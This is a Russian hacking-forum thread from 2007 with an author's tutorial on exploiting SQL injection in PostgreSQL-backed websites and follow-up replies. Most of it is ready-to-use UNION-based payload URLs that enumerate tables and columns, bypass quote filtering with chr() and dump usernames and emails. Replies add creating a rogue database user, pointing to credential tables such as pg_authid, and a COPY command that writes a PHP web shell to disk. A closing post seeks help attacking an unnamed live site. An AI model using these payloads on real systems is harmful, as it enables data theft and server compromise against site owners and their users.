Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Авторские статьи (https://forum.antichat.xyz/forumdisplay.php?f=31)
-   -   Проведение SQL-Injection в PostgreSQL (https://forum.antichat.xyz/showthread.php?t=35599)

Spyder 15.03.2007 21:14

Проведение SQL-Injection в PostgreSQL
 
[Intro]
Всем доброе времени суток. Как я заметил - многие, сталкиваясь с иньекцией в PostgreSQL, не знают что же делать дальше. Ну что же, в этой статье я попробуй объяснить порядок действий.
Начнём!

[Подбор столбцов]

Здесь никакой экзотики, определяем так же как и в MySQL и Oracle.
Так как оператор UNION требует одинакового количества колонок как в первом, так и во втором запросе нам нужно количество этих самых колонок определить
Для этого существует 2 пути:

1. Простой перебор
допустим у нас есть сайт с иньекцией
Код:

www.site.com/index.php?id=1'
тогда выполняем такой запрос
Код:

www.site.com/index.php?id=-1+union+select+null
если появилась ошибка, то увеличиваем количество колонок на одну
Код:

www.site.com/index.php?id=-1+union+select+null,null
и так пока не исчезнет ошибка и появится пустая страница
2. Оператор ORDER BY
С помощью этого оператора можно намного проще и быстрее определить количество столбцов
Выполняем такой запрос:

Код:

www.site.com/index.php?id=-1+order+by+1--
(ошибки нет, значит столбцов 1 или больше 1)
Код:

www.site.com/index.php?id=-1+order+by+9999--
(должна появится ошибка, значит столбцов меньше 9999)
Далее подбираем таким образом правильное количество, предположим в нашем случае 4 столбца, тогда
Код:

www.site.com/index.php?id=-1+order+by+4--
(ошибки не будет)
Код:

www.site.com/index.php?id=-1+order+by+5--
(ошибка есть)

[Определяем вывод]

Предположим мы подобрали количество столбцов и их оказалось 4
Код:

www.site.com/index.php?id=-1+union+select+null,null,null,null
Теперь нас интересует в какой части страницы, какая колонка выводится. Для этого
подставим заместо одного из null - цифру

Код:

www.site.com/index.php?id=-1+union+select+null,111,null,null--
И так меняя столбцы мы узнаём вывод
Но тут не всё так просто. PostgreSQL имеет такую особенность, что столбец в первом запросе и соответствующий ему столбец во втором, должны иметь одинаковый тип данных (char,int и тд)
Чаще всего это char (например текст статьи). Кажется что ничего не сделаешь, но разработчики позаботились о нас и создали функцию to_char(). Используем так to_char(1,123) (первая цифра на бум, вторая - число которое выведется на страницу)

[Information_Schema]

К счастью, в PosgreSQL существует специальная база, в которой хранятся записи о всех существующих таблицах, колонках и тд.
Запрос к ней выглядит практически так же как и в MySQL, но с небольшой оговоркой.


Узнаём таблицы

Код:

www.site.com/index.php?id=-1+union+select+null,TABLE_NAME,null,null+from+INFORMATION_SCHEMA.TABLES--
Таким запросом мы узнаём первую таблицу, но нам надо узнать и другие
Вы скорее всего броситесь подстовлять в конце LIMIT+1,1 =) , но здесь как раз та самая оговорка
В PostgreSQL оператор LIMIT сосоит из двух частей: LIMIT и OFFSET
Именно OFFSET отвечает за номер записи с которой производится вывод. Пример:

Код:

www.site.com/index.php?id=-1+union+select+null,TABLE_NAME,null,null+from+INFORMATION_SCHEMA.TABLES+LIMIT+1+OFFSET+1--
Здесь после LIMIT стоит цифра 1 - это значит что на страницу выведется одна запись
После OFFSET цифра 1 - это значит что на страницу выведутся записи начиная с второй (т.к. отсчёт ведётся с 0)


Узнаём колонки

Перебрав таблицы, определяем ту которая нам будет интересна. Пусть это будет USER
То что мы знаем имя таблицы - это хорошо, но надо знать и колонки
Для этого изменяем запрос на такой:

Код:

www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INFORMATION_SCHEMA.COLUMNS--
Таким оброзом мы выводим названия колонок всех таблиц. Но нам надо узнать имена колонок именно в таблице USER
Изменяем немного наш запрос добовляя в него оператор WHERE:

Код:

www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INFORMATION_SCHEMA.COLUMNS+where+TABLE_NAME='user'--
Появится имя первой колонки в таблице user и далее добовляя LIMIT+OFFSET узнаём все колонки.
В 90% вам не удастся выполнить такой запрос и вы увидите ошибку примерно такого вида:

Цитата:

ERROR: syntax error at or near "user" at character 173
Это значит что стоит фильтрация кавычек. но это можно обойити при помощи встренной функции CHR().
Функция chr() получает ОДИН числовой аргумент n типа integer и возвращает символ с ASCII-кодом, равным n
Т.е. мы можем получить только один символ. Например chr(113) выдаст нам символ "q", но если мы захотим сделать так chr(113,114), постгрес будет ругаться на неправильно количество аргументов в функции.
Здесь бы помогла встроенная в MySQL функция CONCAT() и такая функция есть, но выглядит она немного по другому. Пример:
chr(113)||chr(114) - вернёт QR
Это конечно не удобно, особенно если имя таблицы длинное, но другого выхода я пока не нашёл.
Здесь стоит указать ссылку где можно перевести символы в их числовые значения, вот она -
Код:

http://www.paulschou.com/tools/xlate/
Но вернёмся к нашему сайту
Закодировав слово user - мы получаем вот такие числа
117 115 101 114
Составляем запрос приведённый выше, но теперь заместо слова 'USER' делаем так:

Код:

www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INFORMATION_SCHEMA.COLUMNS+where+TABLE_NAME=chr(117)||chr(115)||chr(101)||chr(114)--
Теперь наш запрос правильный и должен вернуть имя колонки
Так же обойти фильтрацию кавычек можно подзапросом. Пример:

Код:

www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INFORMATION_SCHEMA.COLUMNS+where+TABLE_NAME=(select+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+limit+1+offset+1)--
[PG_TABLES или альтернатива Information_schema]

В старых версиях PostgreSQL нет возможности обратиться к базе Information_schema, так как её на то время не существовало. Но к счастью для неё есть альтернатива - это таблица PG_TABLES
Стоит заметить что у неё есть большой минус, он вытекает из названия. С помощью неё мы можем узнать только таблицы, а колонки нам придётся подбирать вручную. Имена таблиц хранятся в колонке TABLENAME
Пример

Код:

www.site.com/index.php?id=-1+union+select+null,TABLENAME,null,null+from+PG_TABLES+limit+1+offset+0--
[Хэк или достаём нужную нам инфу из таблицы]

Ну тут уже всё просто. Мы знаем имя таблицы, знаем имена колонок
Составляем запрос:

Код:

www.site.com/index.php?id=-1+union+select+null,username,null,null+from+user--
Он возвратит нам в данном случае имя юзера
Многие любят объединять 2 колонки разделяя их спец символом, что же, мы уже умеем это делать

Код:

www.site.com/index.php?id=-1+union+select+null,username||chr(58)||email,null,null+from+user--
Мы увидим запись типа Имя_юзера:мыло_юзера
Стоит сказать что в некоторых случаях данные выводятся в неправильной кодировке. Для изменения существует функция CONVERT()
Использовать так -
Цитата:

CONVERT(preved+using+utf8_to_iso_8859_1)
где:
preved - строка которую нам нужно перевести в другую кодировку
utf8_to_iso_8859_1 - из какой кодировки в какую перевести (полный список кодировок -> http://www.postgresql.org/docs/8.2/interactive/functions-string.html#CONVERSION-NAMES)


[Заключение]

В этой статье я пытался поделится своими знаниями в PostgreSQL. Вся документация взята из книги Дж. Уорсли "PostgreSQL для профессионалов" и онлайн документации на оф. сайте www.postgresql.org.
По мере того как информация будет пополнять мой мозг, статья будет обновлятся.
Спасибо }{0TT@БЬ)Ч 'у за содействие в написании статьи =)

##END

ЗЫ Моя первая статья, и не бейте =) Все обоснованные замечания с радостью приму к сведению

VampiRUS 16.03.2007 12:50

Можно также узнать колонки если кавычки фильтруются таким способом:
Код:

http://site.ru/index.php?id=-1+union+select+null,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA+FROM+INFORMATION_SCHEMA.COLUMNS+where+TABLE_NAME=(select+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+limit+1+offset+20)--
подобрав нужную таблицу.

}{0TT@БЬ)Ч 16.03.2007 17:00

так же можно добавить
current_database() возвращает имя базы данных с которой работает скрипт
current_user() имя пользователя, под которым работает скрипт
version() информация о версии.

R®.L@mer 21.04.2007 04:28

Спасибо за статейку - она мне помогла! Я тулил в качесте коммента такой как в МуСКЛ и натыкался на еррор :) И завтыкал сам проверить двойной дефис! Ну эт детали! А вообще-то ОГРОММНОЕ СПАСИБО!
А еще...
Как вывести запрос в файл так как это делайет мускл?

Spyder 23.04.2007 19:51

Цитата:

Как вывести запрос в файл так как это делайет мускл?
на данный момент никак =\

guest3297 23.04.2007 20:14

LOAD -- Загрузка файла в память.
Цитата:

LOAD 'filename'
COPY -- Переносим файл в таблицу.
Цитата:

COPY tablename [ ( column [, ...] ) ]
FROM { 'filename' | STDIN }
[ [ WITH ]
[ BINARY ]
[ OIDS ]
[ DELIMITER [ AS ] 'delimiter' ]
[ NULL [ AS ] 'null string' ]
[ CSV [ HEADER ]
[ QUOTE [ AS ] 'quote' ]
[ ESCAPE [ AS ] 'escape' ]
[ FORCE NOT NULL column [, ...] ]

COPY { tablename [ ( column [, ...] ) ] | ( query ) }
TO { 'filename' | STDOUT }
[ [ WITH ]
[ BINARY ]
[ HEADER ]
[ OIDS ]
[ DELIMITER [ AS ] 'delimiter' ]
[ NULL [ AS ] 'null string' ]
[ CSV [ HEADER ]
[ QUOTE [ AS ] 'quote' ]
[ ESCAPE [ AS ] 'escape' ]
[ FORCE QUOTE column [, ...] ]


guest3297 23.04.2007 20:22

Автор так же не заметил
1) Важную вещь.
Коментарий и прерыв строки в некоторых случаях, особенно в сложных запросах он не обходим. Так вот коментарий в PGSQL служит так же симаол "{".

Так же есть возможность прерываний строки ";"
Далее создаем системного юзера:

Цитата:

CREATE USER hacker WITH PASSWORD 'hackpass'
Так же подкину системные таблички:
  • pg_auth_members
  • pg_authid
  • pg_database
  • pg_pltemplate
  • pg_shdepend
  • pg_shdescription
  • pg_tablespace
Вроде все вспомнб что еще напишу )))

Spyder 23.04.2007 20:28

Я не претендую на полный мануал
Цитата:

В этой статье я пытался поделится своими знаниями
СПС, Кэш, дополню

mr.crown 06.05.2007 04:12

Цитата:

Сообщение от Spyder
на данный момент никак =\

Вот ща поставил себе сервер постгре, и короче сделал вывод в файл!
COPY (SELECT '<?php system($_GET[cmd]); ?>') TO 'FILE_NAME'
Только блин на серваке, ипстественно не моем не получается, видать прав у юзера мало :(
Над будет попробывать создать юзера

velikijmerlin 28.02.2009 21:09

help
 
всем доброго времени суток..
попытался исследовать один сайт на скёрл инекции, потыкался, потыкался, и нашёл такие ошибки, а что с ними делать дальше я не понимаю...
может подсказать в каком направлении идти дальше, продолжать бить эти ошибки, или же искать в других местах?
заранее спасибо

вот скрин ошибок
http://s46.radikal.ru/i112/0902/bd/958f3435b5bat.jpg


Время: 02:00